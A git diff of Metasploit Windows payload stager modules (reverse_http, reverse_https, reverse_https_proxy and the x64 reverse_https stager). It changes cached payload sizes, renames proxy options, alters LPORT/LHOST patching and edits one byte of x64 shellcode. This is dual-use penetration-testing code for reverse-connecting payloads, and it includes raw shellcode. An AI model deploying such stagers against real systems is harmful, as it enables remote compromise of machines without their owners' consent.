+66,4 @@ module Metasploit3 b64_stub << "')))" return b64_stub end - - # - # Determine the maximum amount of space required for the features requested - # - def required_space - # Start with our cached default generated size - space = cached_size - - # Add 100 bytes for the encoder to have some room - space += 100 - - # Make room for the maximum possible URL length - space += 256 - - # The final estimated size - space - end - - # - # Return the longest URL that fits into our available space - # - def generate_callback_uri - uri_req_len = 30 + rand(256-30) - - # Generate the short default URL if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - uri_req_len = 5 - end - - generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len) - end - end diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 470113e01e..94bb21082d 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http' module Metasploit3 - CachedSize = 311 + CachedSize = 306 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 02f5911305..92ea6ee42f 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https' module Metasploit3 - CachedSize = 331 + CachedSize = 326 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 500506525a..8e392f266a 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -82,74 +82,70 @@ module Metasploit3 p[i, u.length] = u # patch proxy info - proxyhost = datastore['PayloadProxyHost'].to_s - proxyport = datastore['PayloadProxyPort'].to_s || "8080" - - if Rex::Socket.is_ipv6?(proxyhost) - proxyhost = "[#{proxyhost}]" - end - + proxyhost = datastore['PROXYHOST'].to_s + proxyport = datastore['PROXYPORT'].to_s || "8080" proxyinfo = proxyhost + ":" + proxyport if proxyport == "80" proxyinfo = proxyhost end - if datastore['PayloadProxyType'].to_s == 'HTTP' + if datastore['PROXY_TYPE'].to_s == 'HTTP' proxyinfo = 'http://' + proxyinfo else #socks proxyinfo = 'socks=' + proxyinfo end - proxyloc = p.index("PROXYHOST:PORT") p = p.gsub("PROXYHOST:PORT",proxyinfo) - # Patch the call - calloffset = proxyinfo.length + 1 + # patch the call + calloffset = proxyinfo.length + calloffset += 1 p[proxyloc-4] = [calloffset].pack('V')[0] - # Authentication credentials have not been specified - if datastore['PayloadProxyUser'].to_s == '' or - datastore['PayloadProxyPass'].to_s == '' or - datastore['PayloadProxyType'].to_s == 'SOCKS' + #Optional authentification + if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or + (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or + datastore['PROXY_TYPE'] == 'SOCKS' jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START") - - # Remove the authentication code + #remove auth code p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "") else - username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length - password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length - jmp_offset = - 16 + # PROXY_AUTH_START length - 15 + # PROXY_AUTH_STOP length - username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length" - password_size_diff # Same with PayloadProxyPass - - # Patch call offset + username_size_diff = 14 - datastore['PROXY_USERNAME'].length + password_size_diff = 14 - datastore['PROXY_PASSWORD'].length + jmp_offset = 16 + #PROXY_AUTH_START length + 15 + #PROXY_AUTH_STOP length + username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length" + password_size_diff # same with PROXY_PASSWORD + #patch call offset username_loc = p.index("PROXY_USERNAME") p[username_loc - 4, 4] = [15 - username_size_diff].pack("V") password_loc = p.index("PROXY_PASSWORD") p[password_loc - 4, 4] = [15 - password_size_diff].pack("V") - - # Remove markers & change login/password + #remove markers & change login/pwd p = p.gsub("PROXY_AUTH_START","") p = p.gsub("PROXY_AUTH_STOP","") - p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s) - p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s) + p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME']) + p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD']) end - - # Patch jmp dbl_get_server_host + #patch jmp dbl_get_server_host jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V") - - # Patch call Internetopen + #patch call Internetopen p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V") - # Patch the LPORT - lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 - p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V') + # patch the LPORT + lport = datastore['LPORT'] - # Append LHOST and return payload - p + datastore['LHOST'].to_s + "\x00" + lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 + p[lportloc+1] = [lport.to_i].pack('V')[0] + p[lportloc+2] = [lport.to_i].pack('V')[1] + p[lportloc+3] = [lport.to_i].pack('V')[2] + p[lportloc+4] = [lport.to_i].pack('V')[3] + + # append LHOST and return payload + + lhost = datastore['LHOST'] + p + lhost.to_s + "\x00" end diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index fccf7eab05..08fe6ef5a6 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -85,7 +85,7 @@ module Metasploit3 "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + - "\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" + + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + "\x75\xCE\x58\x58\xC3" + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset }